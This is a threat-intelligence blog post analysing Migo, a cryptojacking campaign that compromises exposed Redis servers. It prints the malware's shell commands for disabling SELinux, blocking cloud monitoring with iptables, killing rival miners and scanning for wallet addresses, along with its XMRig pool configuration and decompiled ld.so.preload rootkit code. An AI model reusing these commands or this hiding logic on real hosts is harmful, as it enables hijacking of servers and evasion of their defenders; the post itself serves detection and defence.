Blog
/
Cloud
/
February 20, 2024

Migo: A Redis Miner with Novel System Weakening Techniques

Migo is a cryptojacking campaign targeting Redis servers, that uses novel system-weakening techniques for initial access. It deploys a Golang ELF binary for cryptocurrency mining, which employs compile-time obfuscation and achieves persistence on Linux hosts. Migo also utilizes a modified user-mode rootkit to hide its processes and on-disk artifacts, complicating analysis and forensics.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community
Default blog image
20
Feb 2024

Introduction: Migo

Researchers from Cado Security Labs (now part of Darktrace) encountered a novel malware campaign targeting Redis for initial access. Whilst Redis is no stranger to exploitation by Linux and cloud-focused attackers, this particular campaign involves the use of a number of novel system weakening techniques against the data store itself. 

The malware, named Migo by the developers, aims to compromise Redis servers for the purpose of mining cryptocurrency on the underlying Linux host. 

Summary:

  • New Redis system weakening commands have been observed in the wild
  • The campaign utilizes these commands to exploit Redis to conduct a cryptojacking attack
  • Migo is delivered as a Golang ELF binary, with compile-time obfuscation and the ability to persist on Linux hosts
  • A modified version of a popular user mode rootkit is deployed by the malware to hide processes and on-disk artefacts

Initial access

Cado researchers were first alerted to the Migo campaign after noticing an unusual series of commands targeting a Redis honeypot. 

A malicious node at the IP 103[.]79[.]118[.]221 connected to the honeypot and disabled the following configuration options using the Redis command line interface’s (CLI) config set feature:

  • set protected-mode
  • replica-read-only
  • aof-rewrite-incremental-fsync
  • rdb-save-incremental-fsync

Discussing each of these in turn will shed some light on the threat actor’s motivation for doing so.

Set protected-mode

Protected mode is an operating mode of the Redis server that’s designed as a mitigation for users who may have inadvertently exposed the server to external networks. [1]

Introduced in version 3.2.0, protected mode is engaged when a Redis server has been deployed in the default configuration (i.e. bound to all networking interfaces) without having password authentication enabled. In this mode, the Redis server will only accept connections from the loopback interface, any other connections will receive an error.

Given that the threat actor does not have access to the loopback interface and is instead attempting to connect externally, this command should automatically fail on Redis servers with protected mode enabled. It’s possible the attacker has misunderstood this feature and is trying to issue a number of system weakening commands in an opportunistic manner. 

This feature is disabled in Cado’s honeypot environment, which is why these commands and additional actions on objective succeed.

Redis honeypot sensor
Figure 1: Disable protected mode command observed by a Redis honeypot sensor

Replica-read-only

As the name suggests, the replica-read-only feature configures Redis replicas (exact copies of a master Redis instance) to reject all incoming write commands [2][3]. This configuration parameter is enabled by default, to prevent accidental writes to replicas which could result in the master/replica topology becoming out of sync.

Cado researchers have previously reported on exploitation of the replication feature being used to deliver malicious payloads to Redis instances. [4] The threat actors behind Migo are likely disabling this feature to facilitate future exploitation of the Redis server.

honeypot sensor
Figure 2: Disable aof-rewrite-incremental-fsync command observed by a Redis honeypot sensor

After disabling these configuration parameters, the threat actor used the set command to set the values of two separate Redis keys. One key is assigned a string value corresponding to a malicious threat actor-controlled SSH key, and the other to a Cron job that retrieves the malicious primary payload from Transfer.sh (a relatively uncommon distribution mechanism previously covered by Cado) via Pastebin [5].

The threat actors will then follow-up with a series of commands to change the working directory of Redis itself, before saving the contents of the database. If the working directory is one of the Cron directories, the file will be parsed by crond and executed as a normal Cron job.  This is a common attack pattern against Redis servers and has been previously documented by Cado and others[6][7]

honeypot sensor
Figure 3: Abusing the set command to register a malicious Cron job

As can be seen above, the threat actors create a key named mimigo and use it to register a Cron job that first checks whether a file exists at /tmp/.xxx1. If not, a simple script is retrieved from Pastebin using either curl or wget, and executed directly in memory by piping through sh.

Pastebin script
Figure 4: Pastebin script used to retrieve primary payload from transfer.sh

This in-memory script proceeds to create an empty file at /tmp/.xxx1 (an indicator to the previous stage that the host has been compromised) before retrieving the primary payload from transfer.sh. This payload is saved as /tmp/.migo, before being executed as a background task via nohup.

Primary payload – static properties

The Migo primary payload (/tmp/.migo) is delivered as a statically-linked and stripped UPX-packed ELF, compiled from Go code for the x86_64 architecture. The sample uses vanilla UPX packing (i.e. the UPX header is intact) and can be trivially unpacked using upx -d. 

After unpacking, analysis of the .gopclntab section of the binary highlights the threat actor’s use of a compile-time obfuscator to obscure various strings relating to internal symbols. You might wonder why this is necessary when the binary is already stripped, the answer lies with a feature of the Go programming language named “Program Counter Line Table (pclntab)”. 

In short, the pclntab is a structure located in the .gopclntab section of a Go ELF binary. It can be used to map virtual addresses to symbol names, for the purposes of generating stack traces. This allows reverse engineers the ability to recover symbols from the binary, even in cases where the binary is stripped.  

The developers of Migo have since opted to further protect these symbols by applying additional compile-time obfuscation. This is likely to prevent details of the malware’s capabilities from appearing in stack traces or being easily recovered by reverse engineers.

gopclntab section
Figure 5: Compile-time symbol obfuscation in gopclntab section

With the help of Interactive Disassembler’s (IDA’s) function recognition engine, we can see a number of Go packages (libraries) used by the binary. This includes functions from the OS package, including os/exec (used to run shell commands on Linux hosts), os.GetEnv (to retrieve the value of a specific environment variable) and os.Open to open files. [8, 9]

OS library functions
 Figure 6: Examples of OS library functions identified by IDA

Additionally, the malware includes the net package for performing HTTP requests, the encoding/json package for working with JSON data and the compress/gzip package for handling gzip archives.

Primarily payload – capabilities

Shortly after execution, the Migo binary will consult an infection marker in the form of a file at /tmp/.migo_running. If this file doesn’t exist, the malware creates it, determines its own process ID and writes the file. This tells the threat actors that the machine has been previously compromised, should they encounter it again.

newfstatat(AT_FDCWD, "/tmp/.migo_running", 0xc00010ac68, 0) = -1 ENOENT (No such file or directory) 
    getpid() = 2557 
    openat(AT_FDCWD, "/tmp/.migo_running", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 6 
    fcntl(6, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 6, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473793, u64=9169307754234380289}}) = -1 EPERM (Operation not permitted) 
    fcntl(6, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(6, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(6, "2557", 4)  = 4 
    close(6) = 0 

Migo proceeds to retrieve the XMRig installer in tar.gz format directly from Github’s CDN, before creating a new directory at /tmp/.migo_worker, where the installer archive is saved as /tmp/.migo_worker/.worker.tar.gz.  Naturally, Migo proceeds to unpack this archive and saves the XMRig binary as /tmp/.migo_worker/.migo_worker. The installation archive contains a default XMRig configuration file, which is rewritten dynamically by the malware and saved to /tmp/.migo_worker/.migo.json.

openat(AT_FDCWD, "/tmp/.migo_worker/config.json", O_RDWR|O_CREAT|O_TRUNC|O_CLOEXEC, 0666) = 9 
    fcntl(9, F_GETFL)  = 0x8002 (flags O_RDWR|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_NONBLOCK|O_LARGEFILE) = 0 
    epoll_ctl(3, EPOLL_CTL_ADD, 9, {EPOLLIN|EPOLLOUT|EPOLLRDHUP|EPOLLET, {u32=1197473930, u64=9169307754234380426}}) = -1 EPERM (Operation not permitted) 
    fcntl(9, F_GETFL)  = 0x8802 (flags O_RDWR|O_NONBLOCK|O_LARGEFILE) 
    fcntl(9, F_SETFL, O_RDWR|O_LARGEFILE)  = 0 
    write(9, "{\n \"api\": {\n \"id\": null,\n \"worker-id\": null\n },\n \"http\": {\n \"enabled\": false,\n \"host\": \"127.0.0.1\",\n \"port"..., 2346) = 2346 
    newfstatat(AT_FDCWD, "/tmp/.migo_worker/.migo.json", 0xc00010ad38, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) 
    renameat(AT_FDCWD, "/tmp/.migo_worker/config.json", AT_FDCWD, "/tmp/.migo_worker/.migo.json") = 0 

An example of the XMRig configuration used as part of the campaign (as collected along with the binary payload on the Cado honeypot) can be seen below:

{ 
     "api": { 
     "id": null, 
     "worker-id": null 
     }, 
     "http": { 
     "enabled": false, 
     "host": "127.0.0.1", 
     "port": 0, 
     "access-token": null, 
     "restricted": true 
     }, 
     "autosave": true, 
     "background": false, 
     "colors": true, 
     "title": true, 
     "randomx": { 
     "init": -1, 
     "init-avx2": -1, 
     "mode": "auto", 
     "1gb-pages": false, 
     "rdmsr": true, 
     "wrmsr": true, 
     "cache_qos": false, 
     "numa": true, 
     "scratchpad_prefetch_mode": 1 
     }, 
     "cpu": { 
     "enabled": true, 
     "huge-pages": true, 
     "huge-pages-jit": false, 
     "hw-aes": null, 
     "priority": null, 
     "memory-pool": false, 
     "yield": true, 
     "asm": true, 
     "argon2-impl": null, 
     "argon2": [0, 1], 
     "cn": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-heavy": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-lite": [ 
     [1, 0], 
     [1, 1] 
     ], 
     "cn-pico": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "cn/upx2": [ 
     [2, 0], 
     [2, 1] 
     ], 
     "ghostrider": [ 
     [8, 0], 
     [8, 1] 
     ], 
     "rx": [0, 1], 
     "rx/wow": [0, 1], 
     "cn-lite/0": false, 
     "cn/0": false, 
     "rx/arq": "rx/wow", 
     "rx/keva": "rx/wow" 
     }, 
     "log-file": null, 
     "donate-level": 1, 
     "donate-over-proxy": 1, 
     "pools": [ 
     { 
     "algo": null, 
     "coin": null, 
     "url": "xmrpool.eu:9999", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.hashvault.pro:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": "XMR", 
     "url": "xmr-jp1.nanopool.org:14433", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": null, 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": false, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     }, 
     { 
     "algo": null, 
     "coin": null, 
     "url": "pool.supportxmr.com:443", 
     "user": "85RrBGwM4gWhdrnLAcyTwo93WY3M3frr6jJwsZLSWokqB9mChJYZWN91FYykRYJ4BFf8z3m5iaHfwTxtT93txJkGTtN9MFz", 
     "pass": "migo", 
     "rig-id": null, 
     "nicehash": false, 
     "keepalive": true, 
     "enabled": true, 
     "tls": true, 
     "sni": false, 
     "tls-fingerprint": null, 
     "daemon": false, 
     "socks5": null, 
     "self-select": null, 
     "submit-to-origin": false 
     } 
     ], 
     "retries": 5, 
     "retry-pause": 5, 
     "print-time": 60, 
     "dmi": true, 
     "syslog": false, 
     "tls": { 
     "enabled": false, 
     "protocols": null, 
     "cert": null, 
     "cert_key": null, 
     "ciphers": null, 
     "ciphersuites": null, 
     "dhparam": null 
     }, 
     "dns": { 
     "ipv6": false, 
     "ttl": 30 
     }, 
     "user-agent": null, 
     "verbose": 0, 
     "watch": true, 
     "pause-on-battery": false, 
     "pause-on-active": false 
    } 

With the miner installed and an XMRig configuration set, the malware proceeds to query some information about the system, including the number of logged-in users (via the w binary) and resource limits for users on the system. It also sets the number of Huge Pages available on the system to 128, using the vm.nr_hugepages parameter. These actions are fairly typical for cryptojacking malware. [10]

Interestingly, Migo appears to recursively iterate through files and directories under /etc. The malware will simply read files in these locations and not do anything with the contents. One theory, based on this analysis, is that this could be a (weak) attempt to confuse sandbox and dynamic analysis solutions by performing a large number of benign actions, resulting in a non-malicious classification. It’s also possible the malware is hunting for an artefact specific to the target environment that’s missing from our own analysis environment. However, there was no evidence of this recovered during our analysis.

Once this is complete, the binary is copied to /tmp via the /proc/self/exe symlink ahead of registering persistence, before a series of shell commands are executed. An example of these commands is listed below.

/bin/chmod +x /tmp/.migo 
    /bin/sh -c "echo SELINUX=disabled > /etc/sysconfig/selinux" 
    /bin/sh -c "ls /usr/local/qcloud/YunJing/uninst.sh || ls /var/lib/qcloud/YunJing/uninst.sh" 
    /bin/sh -c "ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh || ls /usr/local/qcloud/stargate/admin/uninstall.sh" 
    /bin/sh -c command -v setenforce 
    /bin/sh -c command -v systemctl 
    /bin/sh -c setenforce 0o 
    go_worker --config /tmp/.migo_worker/.migo.json 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /home" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /root" 
    bash -c "grep -r -l -E '\\b[48][0-9AB][123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz]{93}\\b' /tmp" 
    bash -c "systemctl start system-kernel.timer && systemctl enable system-kernel.timer" 
    iptables -A OUTPUT -d 10.148.188.201 -j DROP 
    iptables -A OUTPUT -d 10.148.188.202 -j DROP 
    iptables -A OUTPUT -d 11.149.252.51 -j DROP 
    iptables -A OUTPUT -d 11.149.252.57 -j DROP 
    iptables -A OUTPUT -d 11.149.252.62 -j DROP 
    iptables -A OUTPUT -d 11.177.124.86 -j DROP 
    iptables -A OUTPUT -d 11.177.125.116 -j DROP 
    iptables -A OUTPUT -d 120.232.65.223 -j DROP 
    iptables -A OUTPUT -d 157.148.45.20 -j DROP 
    iptables -A OUTPUT -d 169.254.0.55 -j DROP 
    iptables -A OUTPUT -d 183.2.143.163 -j DROP 
    iptables -C OUTPUT -d 10.148.188.201 -j DROP 
    iptables -C OUTPUT -d 10.148.188.202 -j DROP 
    iptables -C OUTPUT -d 11.149.252.51 -j DROP 
    iptables -C OUTPUT -d 11.149.252.57 -j DROP 
    iptables -C OUTPUT -d 11.149.252.62 -j DROP 
    iptables -C OUTPUT -d 11.177.124.86 -j DROP 
    iptables -C OUTPUT -d 11.177.125.116 -j DROP 
    iptables -C OUTPUT -d 120.232.65.223 -j DROP 
    iptables -C OUTPUT -d 157.148.45.20 -j DROP 
    iptables -C OUTPUT -d 169.254.0.55 -j DROP 
    iptables -C OUTPUT -d 183.2.143.163 -j DROP 
    kill -9 
    ls /usr/local/aegis/aegis_client 
    ls /usr/local/aegis/aegis_update 
    ls /usr/local/cloudmonitor/cloudmonitorCtl.sh 
    ls /usr/local/qcloud/YunJing/uninst.sh 
    ls /usr/local/qcloud/monitor/barad/admin/uninstall.sh 
    ls /usr/local/qcloud/stargate/admin/uninstall.sh 
    ls /var/lib/qcloud/YunJing/uninst.sh 
    lsattr /etc/cron.d/0hourly 
    lsattr /etc/cron.d/raid-check 
    lsattr /etc/cron.d/sysstat 
    lsattr /etc/crontab 
    sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" 
    sh -c "ps -ef | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep ddgs | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep f2poll | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hashfish | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep kworkerds | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep t00ls.ru | awk '{print $2}' | xargs kill -9" 
    sh -c "ps -ef | grep -v grep | grep xmrig | awk '{print $2}' | xargs kill -9" 
    systemctl start system-kernel.timer 
    systemctl status firewalld 

In summary, they perform the following actions:

  • Make the copied version of the binary executable, to be executed via a persistence mechanism
  • Disable SELinux and search for uninstallation scripts for monitoring agents bundled in compute instances from cloud providers such as Qcloud and Alibaba Cloud
  • Execute the miner and pass the dropped configuration into it
  • Configure iptables to drop outbound traffic to specific IPs
  • Kill competing miners and payloads from similar campaigns
  • Register persistence via the systemd timer system-kernel.timer

Note that these actions are consistent with prior mining campaigns targeting East Asian cloud providers analyzed by Cado researchers [11].

Migo will also attempt to prevent outbound traffic to domains belonging to these cloud providers by writing the following lines to /etc/hosts, effectively creating a blackhole for each of these domains. It’s likely that this is to prevent monitoring agents and update software from contacting these domains and triggering any alerts that might be in place. 

This also gives some insight into the infrastructure targeted by the malware, as these domains belong to the same cloud service providers as we discussed previously.

modified contents
Figure 7: Modified contents of /etc/hosts

Persistence

As seen in the commands above, Migo achieves persistence on the target host via the use of a systemd service and associated systemd timer. These are named system-kernel.timer and system-kernel.service respectively. 

The service unit is straightforward, it simply ensures the Migo payload is executable before invoking it. The malware also configures the allowed number of open file descriptors (via the LimitNOFILE parameter) and increases the CPU shares weighting to 1000000, allowing the miner to fully utilize the CPU.

example contents
Figure 8: Example contents of system-kernel.service

This service is controlled by an associated systemd timer, allowing it to be executed 5 seconds after the machine boots, and executed again every five seconds following that [12]. This, in combination with the infection marker mentioned previously, ensures the miner is kept running and can effectively contribute to the mining pool.

Example contents
Figure 9: Example contents of system-kernel.timer

Process hiding

Interestingly, Migo will attempt to hide on-disk artefacts dropped by itself via the use of a user mode rootkit. These artefacts include the contents /tmp/.migo_worker directory, where the malware stores the miner and configuration file, as well as the main payload located at /tmp/.migo. 

To achieve this, the malware updates /etc/ld.so.preload to point at a Linux shared object file located at /usr/local/lib/libsystemd.so, effectively conducting Dynamic Linker hijacking on the Redis host. [13] This shared object is embedded within the Migo primary payload and is extracted at runtime.

 if ( !original_readdir ) 
     { 
     original_readdir = dlsym(0xFFFFFFFFFFFFFFFFLL, "readdir"); 
     if ( !original_readdir ) 
     { 
     v1 = dlerror(); 
     fprintf(stderr, aDlsym_0, v1); 
     } 
     } 
     do 
     v5 = original_readdir(a1); 
     while ( v5 
     && (get_dir_name(a1, s1, 256LL) 
     && !strcmp(s1, "/proc") 
     && get_process_name(v5 + 19, v4) 
     && should_hide_entry(v4, &hiddenProcesses, 3LL) 
     || should_hide_entry(v5 + 19, hiddenFiles, 4LL) 
     || *(v5 + 18) == 4 && should_hide_entry(v5 + 19, &hiddenDirectories, 1LL)) ); 
     return v5; 
    } 

Decompiler output for the process and file hiding functionality in libsystemd.so

libsystemd.so is a process hider based on the open source libprocesshider project, seen frequently in cryptojacking campaigns. [14, 15] With this shared object in place, the malware intercepts invocations of file and process listing tools (ls, ps, top etc) and hides the appropriate lines from the tool’s output.

Examples of hardcoded artefacts
Figure 10: Examples of hardcoded artefacts to hide

Conclusion

Migo demonstrates that cloud-focused attackers are continuing to refine their techniques and improve their ability to exploit web-facing services. The campaign utilized a number of Redis system weakening commands, in an attempt to disable security features of the data store that may impede their initial access attempts. These commands have not previously been reported in campaigns leveraging Redis for initial access. 

The developers of Migo also appear to be aware of the malware analysis process, taking additional steps to obfuscate symbols and strings found in the pclntab structure that could aid reverse engineering. Even the use of Go to produce a compiled binary as the primary payload, rather than using a series of shell scripts as seen in previous campaigns, suggests that those behind Migo are continuing to hone their techniques and complicate the analysis process. 

In addition, the use of a user mode rootkit could complicate post-incident forensics of hosts compromised by Migo. Although libprocesshider is frequently used by cryptojacking campaigns, this particular variant includes the ability to hide on-disk artefacts in addition to the malicious processes themselves.

Indicators of compromise (IoC)

File SHA256

/tmp/.migo (packed) 8cce669c8f9c5304b43d6e91e6332b1cf1113c81f355877dabd25198c3c3f208

/tmp/.migo_worker/.worker.tar.gz c5dc12dbb9bb51ea8acf93d6349d5bc7fe5ee11b68d6371c1bbb098e21d0f685

/tmp/.migo_worker/.migo_json 2b03943244871ca75e44513e4d20470b8f3e0f209d185395de82b447022437ec

/tmp/.migo_worker/.migo_worker (XMRig) 364a7f8e3701a340400d77795512c18f680ee67e178880e1bb1fcda36ddbc12c

system-kernel.service 5dc4a48ebd4f4be7ffcf3d2c1e1ae4f2640e41ca137a58dbb33b0b249b68759e

system-kernel.service 76ecd546374b24443d76c450cb8ed7226db84681ee725482d5b9ff4ce3273c7f

libsystemd.so 32d32bf0be126e685e898d0ac21d93618f95f405c6400e1c8b0a8a72aa753933

IP addresses

103[.]79[.]118[.]221

References

  1. https://redis.io/docs/latest/operate/oss_and_stack/management/security/#protected-mode
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/#read-only-replica
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/
  1. https://www.cadosecurity.com/blog/redis-p2pinfect
  1. https://www.cadosecurity.com/blog/redis-miner-leverages-command-line-file-hosting-service
  1. https://www.cadosecurity.com/blog/kiss-a-dog-discovered-utilizing-a-20-year-old-process-hider
  1. https://www.trendmicro.com/en_ph/research/20/d/exposed-redis-instances-abused-for-remote-code-execution-cryptocurrency-mining.html
  1. https://pkg.go.dev/os
  1. https://pkg.go.dev/os/exec
  1. https://www.crowdstrike.com/en-us/blog/2021-cryptojacking-trends-and-investigation-recommendations/  
  1. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://www.cadosecurity.com/blog/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload
  1. https://github.com/gianlucaborello/libprocesshider
  1. https://www.cadosecurity.com/blog/abcbot-an-evolution-of-xanthe

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

More in this series

No items found.

Blog

/

AI

/

August 4, 2026

Extending AI Security Visibility with Darktrace and Microsoft Agent 365

microsoft darktrace integrationDefault blog imageDefault blog image

AI agents are rapidly becoming embedded in everyday business operations, helping employees automate workflows, access information, and accelerate decision-making. As organizations embrace agentic AI, security teams face a growing challenge: understanding how AI is being used, what agents can access, and where risk may emerge.

As agents take on more business-critical work, security teams often need to move across multiple portals to understand risks spanning identity, data, and threat activity. This fragmented view can make it difficult to assess an agent's overall risk posture and determine where attention is needed. Organizations need a way to bring these signals together without disrupting existing security investments or workflows.

Today, Darktrace is announcing an integration between Darktrace / SECURE AI and Microsoft Agent 365 that brings Darktrace's Adaptive AI-driven risk signals directly into the Microsoft 365 Admin Center. By extending the visibility and risk understanding provided by Darktrace / SECURE AI into the Microsoft ecosystem, organizations can gain a more unified understanding of AI agent risk across their environments.

As one of the first security companies to partner with Microsoft to contribute third-party risk signals to the Agent Registry, Darktrace is helping shape how organizations understand and manage AI agent risk.

Extending visibility into the Microsoft Agent 365 experience

Microsoft Agent 365 provides administrators with a centralized registry of AI agents operating within their environment. As organizations expand their use of AI agents, this centralized visibility becomes increasingly important for governance and oversight.

This new integration extends that visibility by allowing Darktrace-generated risk signals to be surfaced directly within the Microsoft Agent 365 experience. By combining Microsoft's agent management and security capabilities with Darktrace's AI-powered risk analysis, organizations gain greater awareness of potential security concerns associated with AI agents operating across their environments.

By integrating Darktrace telemetry into Agent 365, customers can:  

  • Surface Darktrace-detected risks and signals alongside Microsoft-native signals in a single interface
  • Identify potentially compromised or anomalous AI agents more quickly
  • Gain unified understanding of context and agent behavior  

This approach reinforces a single control plane for AI security while allowing organizations to continue leveraging existing investments across both platforms.  

Why unified visibility of AI agent risk signals matters

As AI adoption accelerates across Microsoft environments, organizations must manage new forms of behavior, access patterns, and risk. Security teams need more than inventories and permissions. They need visibility into how AI systems operate and how risk evolves over time.  

This integration addresses a critical gap: how to bring behavioral AI security insights into the same control plane as identity, access, and agent management.  

With Darktrace and Microsoft Agent 365 together, organizations benefit from:  

  • Unified visibility: A single pane of glass for understanding AI agent risk signals across Microsoft and Darktrace signals  
  • Faster detection of abnormal agent behavior: Darktrace's Adaptive AI highlights deviations that may not be captured by static controls  
  • Operational efficiency: Security teams can triage and prioritize risk signals without switching between systems
  • Stronger trust in AI deployments: Clear attribution, context, and investigation pathways improve confidence in AI agent usage

Extending Microsoft's AI security model, not replacing it

Securing AI requires a layered approach that combines governance, visibility, threat detection, and risk management. This integration is designed to complement Microsoft's security capabilities, not duplicate them.  

Through Darktrace / SECURE AI, Darktrace contributes:  

  • Identification of risk via advanced prompt analysis  
  • Behavioral anomaly detection across AI agents  
  • Cross-environment threat correlation  
  • Autonomous insight into emerging or unknown risks  

Microsoft provides:  

  • Centralized agent management
  • Identity and access governance
  • Native detection of risk signals and enforcement capabilities

Together, these capabilities create a more complete, layered approach to securing AI-driven enterprises. Organizations gain the governance and policy controls needed to manage AI adoption while benefiting from continuous visibility into how AI is used across the business.

Building the future of secure AI

As AI agents become more deeply embedded in business processes, organizations need more than inventories and static controls. They need to understand how AI is being used, how agents behave, and where risk is emerging across the enterprise.

Darktrace / SECURE AI delivers that understanding through continuous visibility into AI activity, helping security teams assess intent, identify behavioral drift, and uncover emerging risk across both human and agent-driven workflows. Powered by Adaptive AI, it provides the context needed to secure AI as it evolves.  

The integration with Microsoft Agent 365 extends those insights into the workflows organizations already use. Agent 365 provides a unified control plane for governing and securing AI agents, while Darktrace contributes complementary behavioral risk signals that can be surfaced within the Agent 365 experience. Together, they give customers broader context on agent activity and risk while preserving the value of their existing Microsoft and Darktrace investments.

As enterprises move from AI experimentation to AI-powered execution, Microsoft and Darktrace help bring together governance, compliance, behavioral understanding, and oversight in a unified approach to AI security. For organizations adopting Microsoft 365 E7, Darktrace / SECURE AI further strengthens that foundation by providing continuous visibility into AI activity, agent behavior, and emerging risk as AI adoption scales.

Continue reading
About the author
The Darktrace Community

Blog

/

AI

/

August 3, 2026

Why Trust is the New Attack Surface: Darktrace’s Mid-Year Threat Update 2026

Default blog imageDefault blog image

In early 2026, a React2Shell honeypot purpose-built by Darktrace analysts was compromised in less than two hours after deployment. That single data point captures the pace of the threat landscape in the first half of 2026, but speed tells only part of the story.

The shift over the past six months has moved away from traditional malware and vulnerability-centric attacks and toward the abuse of trusted identities, platforms, and infrastructure. Identities, Software-as-a-Service (SaaS) platforms, cloud entitlements, automation frameworks, and non-human identities have become the preferred attack paths as organizations adopt AI at scale.

Attackers are increasingly operating inside the relationships, services, and authenticated channels that defenders and users are conditioned to rely on, rather than breaking in from the outside.

What has changed since 2025?

In 2025, identity became the new perimeter as attackers increasingly bypassed traditional exploitation in favor of trusted accounts, SaaS platforms, and emerging AI-enabled tradecraft. The first half of 2026 marks the next stage of that evolution. Identity remains central, but the trust challenge now extends far beyond accounts to email authentication, cloud entitlements, software supply chains, AI gateways, remote administration tooling, and non-human identities.

Theme 2025 (Mid-Year / Annual) H1 2026
Identity Credentials remained the weak link; identity emerged as the new perimeter. Identity remains the entry point, but trust has become the new attack surface.
Cloud & SaaS SaaS-targeted ransomware continued to rise. Cloud and SaaS became the attacker's preferred operating environment.
AI Large Language Models (LLMs) were suspected of influencing phishing shifts. LLM-generated malware, compromised AI proxies, and the abuse of AI identities emerged.
Attack Surface Scale & Speed Exponential growth of Common Vulnerabilities and Exposures (CVEs), with public proof-of-concepts appearing faster. Cloud and AI adoption expanded the attack surface, while AI accelerated exploitation. One honeypot was compromised in under two hours.
Supply Chain Legitimate services were increasingly abused. Trusted maintainers and CI/CD workflows were weaponized.

Identity and email: trust signals under pressure

Email remains the most reliable route to a trusted identity, and the data shows attackers investing in quality over noise. In the first half of 2026, 67% of phishing emails passed DMARC. Authentication alone is no longer sufficient to stop most phishing attempts. VIP users were targeted in 25.8% of phishing, consistent with 2025's “over 25%” figure, but drifting upward throughout the period. Crucially, phishing sophistication continued to increase: 37% of phishing contained a high volume of text, up from 32% in the first half of 2025, while 39% featured novel social engineering techniques, suggesting attackers are further customizing to specific targets.

The most prevalent threats affecting Darktrace customers were also among the most identity-centric: information stealers, with dedicated StealC and AMOS campaigns running through the half-year. Their prevalence is, fundamentally, an identity story. Credentials harvested by infostealers often become the initial access vector for far higher-impact intrusions later in the attack chain. Crucially, the delivery method rarely requires exploitation of a technical weakness. ClickFix social engineering, which tricks users into running malicious code themselves, remained a common distribution route. One recent campaign impacted Darktrace customers across 17 countries, with the United States the most affected. The compromise did not begin with a software flaw, but with a trusted user taking a trusted action.

Supply chain: Trust weaponized at scale

March and April reinforced the same lesson: trust has become a supply-chain vulnerability. The Axios compromise abused trust in a widely used maintainer, while the Trivy campaign leveraged trusted CI/CD infrastructure, release artifacts, and container images to push malicious code through legitimate development workflows.

The clearest example was a February–March campaign in which devices downloaded malicious payloads while using Hola VPN, later linked to an issue within Hola's own delivery pipeline. Darktrace's Threat Research team identified associated activity through recurring anomalous behavior across multiple customers before a public advisory was released.

